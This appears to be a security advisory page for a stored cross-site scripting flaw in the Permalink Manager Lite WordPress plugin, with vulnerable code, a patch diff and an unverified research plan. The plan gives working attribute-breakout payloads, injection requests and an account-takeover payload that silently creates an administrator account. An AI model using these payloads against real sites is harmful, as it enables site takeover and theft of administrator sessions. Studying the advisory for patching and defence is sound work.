CVE-2026-8494

Permalink Manager Lite <= 2.5.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.5.3.4
Patched in
1d
Time to patch

Description

The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface in all versions up to, and including, 2.5.3.3 due to insufficient output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in the admin Permalink Manager page that will execute whenever an administrator accesses the Permalink Manager page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.3.3
PublishedJune 16, 2026
Last updatedJune 17, 2026
Affected pluginpermalink-manager

What Changed in the Fix

Changes introduced in v2.5.3.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in **Permalink Manager Lite (<= 2.5.3.3)**. The vulnerability exists because the plugin fails to properly escape post titles before rendering them within an HTML attribute in the admin URI Editor. --- ### 1.…

Show full research plan

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in Permalink Manager Lite (<= 2.5.3.3). The vulnerability exists because the plugin fails to properly escape post titles before rendering them within an HTML attribute in the admin URI Editor.


1. Vulnerability Summary

  • Vulnerability: Authenticated (Contributor+) Stored XSS.
  • Location: includes/views/permalink-manager-uri-editor-post.php inside the Permalink_Manager_URI_Editor_Post class.
  • Cause: The method column_default() uses sanitize_text_field() on the post title but fails to use esc_attr() when echoing that title inside the title attribute of a "View" link. While sanitize_text_field() strips HTML tags, it does not escape double quotes, allowing for attribute breakout and event handler injection.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for post creation) and wp-admin/tools.php?page=permalink-manager (for execution).
  • Vulnerable Parameter: post_title (during post creation).
  • Authentication: Contributor-level access is required to create a post.
  • Preconditions: An administrator must visit the Permalink Manager "URI Editor" page after the malicious post is created.

3. Code Flow

  1. Input: A Contributor creates or updates a post via wp-admin/post-new.php or wp-admin/post.php. The title is saved to the wp_posts table.
  2. Access: An Administrator navigates to tools.php?page=permalink-manager.
  3. Initialization: Permalink_Manager_Admin_Functions::add_menu_page() calls display_section().
  4. UI Rendering: Permalink_Manager_Admin_Functions::display_section() calls Permalink_Manager_UI_Elements::get_plugin_sections_html().
  5. Table Rendering: The URI Editor instantiates Permalink_Manager_URI_Editor_Post (a WP_List_Table subclass) and calls its display() method.
  6. Vulnerable Sink: Permalink_Manager_URI_Editor_Post::column_default() is executed for each post:
    • $post_title = sanitize_text_field( $item['post_title'] ); is called (Line 115).
    • Inside the case 'item_title': (Line 149), the code builds a link:
      $output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>';
      
    • The Flaw: Because $post_title is placed inside title="..." without esc_attr(), an attacker can use a " to break out of the attribute.

4. Nonce Acquisition Strategy

  • Trigger Phase: Loading the URI Editor list table (tools.php?page=permalink-manager) is a standard GET request and does not require a nonce to trigger the XSS.
  • Injection Phase: Creating a post as a Contributor uses the standard WordPress post nonce (_wpnonce), which is handled automatically by the browser/UI during post creation.
  • Conclusion: No specialized nonce extraction is required for the primary exploitation of the XSS.

5. Exploitation Strategy

Step 1: Inject Payload (as Contributor)

Create a post with a title designed to break out of the title attribute and inject an automatic event handler.

  • Payload: My Post" onfocus="alert('XSS')" autofocus="
  • HTTP Request:
    POST /wp-admin/post.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=editpost&post_ID=[POST_ID]&post_title=My+Post%22+onfocus%3D%22alert%28%27XSS%27%29%22+autofocus%3D%22&post_type=post&_wpnonce=[NONCE]
    

Step 2: Trigger Payload (as Admin)

Log in as an Administrator and visit the URI Editor.

  • HTTP Request:
    GET /wp-admin/tools.php?page=permalink-manager HTTP/1.1
    

Step 3: Resulting HTML Sink

The rendered HTML in the admin dashboard will look like this:

<span class="view">
    <a target="_blank" href="http://localhost/my-post" 
       title="View My Post" onfocus="alert('XSS')" autofocus="" 
       rel="permalink">View</a>
</span>

The autofocus attribute causes the element to gain focus on page load, immediately triggering the onfocus event handler.

6. Test Data Setup

  1. User Creation:
    wp user create helper_contributor contributor@example.com --role=contributor --user_pass=password123
    
  2. Plugin Activation:
    wp plugin activate permalink-manager
    
  3. Post Creation:
    The Contributor must have at least one post published or drafted for it to appear in the URI Editor list.

7. Expected Results

  • When the Administrator loads the Permalink Manager page, a JavaScript alert box showing "XSS" (or the specified payload) will appear automatically.
  • In a real attack, the payload would likely be an external script to exfiltrate the administrator's cookie or perform a CSRF to create a new administrator account.

8. Verification Steps

  1. Confirm Entry in Database:
    wp db query "SELECT post_title FROM wp_posts WHERE post_title LIKE '%onfocus%'"
    
  2. Examine Rendered Source:
    Use browser_navigate to the URI Editor page and check the HTML source of the table for the string onfocus="alert.

9. Alternative Approaches

  • Mouseover Trigger: Use Post" onmouseover="[payload]" if autofocus is filtered or blocked by browser security.
  • Style Injection: If quotes were escaped but tags were not (though not the case here), one could use <style> tags. Since tags are stripped by sanitize_text_field, attribute breakout is the only viable path.
  • Payload for Account Takeover:
    Instead of alert(), use:
    " onfocus="fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=> { let n=t.match(/_wpnonce_create-user\" value=\"([^\"]+)\"/)[1]; fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:`action=createuser&user_login=attacker&email=evil@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user=${n}`})})" autofocus="
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript by creating a post with a crafted title that breaks out of an HTML attribute due to missing output escaping.

Vulnerable Code

// includes/views/permalink-manager-uri-editor-post.php line 115
$post_title      = sanitize_text_field( $item['post_title'] );

---

// includes/views/permalink-manager-uri-editor-post.php lines 151-153
$output .= '<div class="row-actions">';
$output .= sprintf( "<span class=\"edit\"><a href=\"%s\" title=\"%s\">%s</a> | </span>", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) );
$output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/permalink-manager/2.5.3.3/includes/views/permalink-manager-uri-editor-post.php	2026-05-06 14:52:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/permalink-manager/2.5.3.4/includes/views/permalink-manager-uri-editor-post.php	2026-05-13 18:43:28.000000000 +0000
@@ -140,7 +142,7 @@
 				return $output;
 
 			case 'item_title':
-				$output = $post_title;
+				$output = esc_html( $post_title );
 				$output .= '<div class="extra-info small">';
 				$output .= sprintf( "<span><strong>%s:</strong> %s</span>", __( "Slug", "permalink-manager" ), urldecode( $item['post_name'] ) );
 				$output .= sprintf( " | <span><strong>%s:</strong> {$post_statuses_array[$item["post_status"]]}</span>", __( "Post status", "permalink-manager" ) );
@@ -148,9 +150,9 @@
 				$output .= '</div>';
 
 				$output .= '<div class="row-actions">';
-				$output .= sprintf( "<span class=\"edit\"><a href=\"%s\" title=\"%s\">%s</a> | </span>", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) );
-				$output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>';
-				$output .= '<span class="id">#' . $item['ID'] . '</span>';
+				$output .= sprintf( '<span class="edit"><a href="%1$s" title="%2$s">%2$s</a> | </span>', esc_url( get_edit_post_link( $item['ID'] ) ), __( 'Edit', 'permalink-manager' ) );
+				$output .= sprintf( '<span class="view"><a target="_blank" href="%1$s" title="%2$s %3$s" rel="permalink">%2$s</a> | </span>', esc_attr( $permalink ), __( 'View', 'permalink-manager' ), esc_html( $post_title ) );
+				$output .= sprintf( '<span class="id">#%s</span>', esc_html( $item['ID'] ) );
 				$output .= '</div>';
 
 				return $output;

Exploit Outline

1. Login as a Contributor-level user. 2. Create or edit a post. 3. Set the post title to a payload designed to break out of an HTML attribute, such as: `My Post" onfocus="alert('XSS')" autofocus="`. 4. Save the post. The double quotes are preserved by the `sanitize_text_field` function used in the plugin's display logic. 5. Wait for or trick an Administrator into navigating to the Permalink Manager URI Editor page at `wp-admin/tools.php?page=permalink-manager`. 6. The plugin renders the post list in the admin panel, echoing the malicious title directly into the `title` attribute of the 'View' link. The `autofocus` attribute causes the browser to focus the link on page load, immediately executing the `onfocus` JavaScript payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.